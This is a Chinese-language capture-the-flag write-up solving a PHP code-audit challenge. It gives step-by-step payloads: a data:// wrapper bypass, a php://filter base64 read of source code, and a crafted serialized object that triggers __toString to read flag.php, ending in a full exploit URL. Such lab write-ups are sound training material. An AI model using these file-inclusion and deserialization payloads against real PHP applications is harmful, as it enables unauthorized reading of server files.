他给的那个题目上看了一下没有其他信息,直接打开靶场
打开靶场以后可以看到以下代码,看样子是一道关于PHP代码审计的题目
php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码逻辑很清晰,我们需要传递三个GET参数:text、file、password来进行绕过
第一个绕过
先看第一个关于text的if
他的意思是要求 file_get_contents($text, 'r') 读取到的内容 严格等于 "welcome to the zjctf"。满足条件后页面就会输出显示以h1标题包裹的 "welcome to the zjctf,也就是 file_get_contents($text, 'r') 读取到的内容
我们不能直接传一个普通字符串,因为 file_get_contents() 期望的是一个文件路径或流 ,它会去读取这个"文件"的内容,然后与目标字符串进行===强比较
所以这里我们需要用到PHP data:// 伪协议 。这个协议允许我们将数据作为流来嵌入,相当于"模拟"了一个内容是 welcome to the zjctf 的文件。
第一个payload如下:
html
?text=data://text/plain,welcome to the zjctf
可以看到页面直接输出了welcome to the zjctf

第二个绕过
接着看第二个if,这是一个过滤,意思是不能出现flag关键词,如果出现则直接退出程序,不是就能执行接下来的程序。
接着往下面看可以看到下面给我们提示了useless.php文件。应该是让我们看一下这个文件
接下来我们尝试访问useless.php这个文件,在这里我们需要用到另一个伪协议PHP php://filter 伪协议 。并且配合 convert.base64-encode 过滤器将内容编码输出,避免被当作PHP代码直接执行,从而看到明文。
第二个payload如下:
html
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
其中 read= :显式指定过滤器应用于读取操作。
resource= 用于指定要过滤的目标资源(如文件路径、URL 等)。

可以看到文件内容以base64编码格式输出,我们将其解码得到以下内容
php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
通过这段代码我们可以知道useless.php 定义了一个 Flag 类,它有一个 __tostring() 魔术方法。
__tostring() 的触发条件 :当把类的对象当作字符串来使用 时(例如 echo $对象),这个方法会被自动调用。
在之前的代码中有一句 echo $password;,而 $password 是我们传参后经过反序列化得到的对象。
__tostring() 方法里的逻辑是:执行 file_get_contents($this->file) 并输出结果。
攻击思路 :我们需要让 $password 是一个反序列化后的 Flag 对象,并且这个对象的 $file 属性值为 flag.php。这样,当代码执行到 echo $password; 时,就会触发 __tostring(),从而帮我们读取 flag.php。
造序列化数据 :根据 useless.php 中的类,编写一个简单的PHP脚本来生成我们需要的序列化字符串。
php
<?php
class Flag{
public $file = 'flag.php';
}
$a = new Flag();
echo serialize($a);
?>
运行这段脚本,得到序列化结果:
html
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终Payload:
-
text:仍用data://伪协议绕过第一关。 -
file:现在需要真正包含useless.php这个文件,这样PHP才能知道Flag类的定义。注意不能再用php://filter了,直接写useless.php即可。 -
password:传入我们刚构造好的序列化字符串。
最终URL如下:
html
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看页面源代码最终得到flag:
